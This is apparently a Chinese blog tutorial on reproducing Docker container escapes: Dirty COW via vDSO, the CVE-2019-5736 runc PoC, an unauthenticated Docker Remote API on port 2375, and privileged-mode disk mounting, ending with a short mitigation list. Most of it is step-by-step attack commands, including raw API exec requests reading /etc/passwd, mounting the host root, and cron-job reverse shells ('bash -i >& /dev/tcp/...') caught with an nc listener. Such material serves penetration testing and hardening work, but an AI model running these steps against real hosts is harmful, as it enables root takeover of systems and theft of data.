• 漏洞复现-docker容器逃逸与研究


    前言

    获取某个系统shell后发现其是docker
    这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。

    三种方法

    利用dirty cow来进行docker逃逸

    利用前提

    利用成功的前提是,宿主机的内核有dirty cow漏洞

    前置知识

    Linux中VDSO(virtual dvnamic shared object)小型共享库
    将内核中的.so文件映射到到所有用户程序的内存地址空间,
    .so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件, 可以理解成将内核中的函数映射到内存中,方便大家访问。

    利用dirty cow与VDSO来实现docker逃逸的过程

    dirty cow漏洞可以让我们获取只读内存的写的权限,
    我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,
    然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。
    这段shellcode初始化的时候会检查是否是被root调用,
    如果是则继续执行,如果不是,则接着执行clock_gettime函数,
    接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,
    然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。(获取宿主机shell) 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    判断是否为docker环境

    docker环境中根目录下存在此文件

    ls -alh /.dockerenv   
    
    • 1

    在这里插入图片描述

    查看系统进程的cgroup信息

    在Linux内核中,容器(container)这个名词有许多不同的意义,为避免混乱,被重命名为cgroup
    对进程进程分组,比如Sessiongroup、process group等,
    需要追踪一组进程的内存和IO使用情况,出现了cgroup,用来统一对进程进行分组,并在分组的基础上对进程进程监控和资源分配。

    对于容器技术而言,它实现资源层面上的限制和隔离,
    依赖于 Linux 内核所提供的 cgroup 和 namespace 技术

     cat /proc/1/cgroup
    
    • 1

    在这里插入图片描述

    下载脚本

    如果没有 git与curl
    那么就用shell文件管理传上去 用unzip和tar 解压
    在这里插入图片描述

    git clone https://github.com/scumjr/dirtycow-vdso.git
    cd /dirtycow-vdso/
    make
    
    
    • 1
    • 2
    • 3
    • 4

    如果docker 无make

    
    cat /etc/centos-release
    CentOS Linux release 7.9.2009 (Core)
    
    
    nasm -f bin -o payload payload.s
    make: nasm: Command not found
    make: *** [payload] Error 127
    
    
    yum install nasm
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    [root@VM-24-12-centos docker]# make
    nasm -f bin -o payload payload.s
    xxd -i payload payload.h
    cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
    cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
    
    
    会出现 bash: ./1: No such file or directory  链接库依赖问题
    改为 
    /dirtycow-vdso >make
    nasm -f bin -o payload payload.s
    make: nasm: Command not found
    make: *** [Makefile:16: payload] Error 127
    
    /dirtycow-vdso >apk add nasm
    (1/1) Installing nasm (2.13.03-r0)
    Executing busybox-1.29.3-r10.trigger
    OK: 154 MiB in 64 packages
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    在这里插入图片描述

    利用脚本

    chmod 777 0xdeadbeef
    ./0xdeadbeef #反弹shell到本地主机
    ./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    利用结果

    直接反弹宿主机的shell到127.0.0.1如图所示
    在这里插入图片描述
    在根目录内创建一个任意文件。
    查看是否漏洞被利用成功。

    cve-2019-5736

    利用原理与条件

    通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
    利用条件为:

    runc版本<=1.0-rc6
    Docker Version < 18.09.2

    漏洞触发过程

    修改利用脚本中的反弹shell命令,
    使用go build来编译脚本,
    将脚本上传到docker中,
    等待宿主机执行exec进入当前docker容器
    宿主机就会向我们的vps反弹root权限的shell。

    下载利用脚本并修改

    git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
    
    • 1

    下图中的选中部分修改 后面的命令为反弹shell命令即可。
    在这里插入图片描述

    编译脚本

    go build main.go
    
    • 1

    在这里插入图片描述

    将编译好的main文件上传到docker中

    可以先上传到github然后在docker到shell中使用git clone命令即可

    执行脚本并等待此docker再次被exec

    docker exec -it test /bin/bash
    
    • 1

    当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,
    宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

    docker配置不当

    docket remote api未授权访问导致逃逸

    docker swarm是管理docker集群的工具。
    主从管理、默认通过2375端口通信。
    绑定了一个Docker Remote API的服务,
    可以通过HTTP、Python、调用API来操作Docker。

    确定docker remote api是否可访问

    http://ip:2375/version

    在这里插入图片描述

    漏洞利用

    访问http://ip:2375/containers/json看是否出现以下画面:
    在这里插入图片描述

    创建一个包,得到返回的exec_id的参数,数据包内容如下:
     POST /containers/<container_id>/exec HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    Content-Length: 188
    
    {
    “AttachStdin”: true,
    “AttachStdout”: true,
    “AttachStderr”: true,
    “Cmd”: [“cat”,/etc/passwd”],
    “DetachKeys”: “ctrl-p,ctrl-q”,
    “Privileged”: true,
    “Tty”: true
    }
     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述
    注意其中的cmd字段,这个就是要执行的命令。

    得到exec_id参数后构造第二个exec_start数据包,内容如下:
    POST /exec/<exec_id>/start HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    
    {
    “Detach”: false,
    “Tty”: false
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

    在docker容器内安装docker作为client
        apt-get install docker.io
        yum -y install docker 
    
    • 1
    • 2
    查看宿主机的docker image信息
       docker -H tcp://宿主机ip:2375 images
    
    • 1
    启动一个容器并且将宿主机的根目录抓到容器的某个目录
    docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash
    
    • 1

    上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

    写一个计划任务反弹shell(或者写.ssh公钥都OK)
    echo* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1>> /test/var/spool/cron/root
    
    • 1
    在vps上使用nc命令等待反弹过来的shell
    nc -lvp 8888 
    
    • 1

    利用特权模式逃逸

    漏洞原理

    使用特权模式启动容器,可以获取大量设备文件访问权限。
    因为当管理员执行docker run —privileged时,
    Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

    漏洞利用

    查看磁盘文件

     fdisk -l
    
    • 1

    在这里插入图片描述

    将/dev/vda1也就是磁盘挂在到本地的任意文件下

    mkdir /nuoyan
    mount /dev/vda1 /nuoyan
    
    • 1
    • 2

    在这里插入图片描述
    此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。

    写入计划任务

     echo* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1>> /nuoyan/var/spool/cron/root
    
    • 1

    在vps上等待shell反连接

    nc -lvp 8888
    
    • 1

    防止docker逃逸的方法

    1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
    2、runc版本 >1.0-rc6
    3、k8s 集群版本>1.12
    4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
    5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
    6、不建议以root权限运行Docker服务
    7、不建议以privileged(特权模式)启动Docker
    8、不建议将宿主机目录挂载至容器目录
    9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

  • 相关阅读:
    Qt 中捕获三方库&自身标准打印方法
    红帽认证 | RHCE考试包括哪些内容?
    vue3别名配置(vite)
    基于51单片机的全自动智能洗衣机控制系统Proteus仿真
    【LeetCode热题100】【链表】排序链表
    【React + Ant Design】表单如何在前置项未填写时禁止后置项交互并提示
    STM32 I2C学习
    Apache Ranger 是什么?
    dubbo-无法找到提供者问题(一)
    linux自定义命令-通过关键字批量杀死进程
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/125445031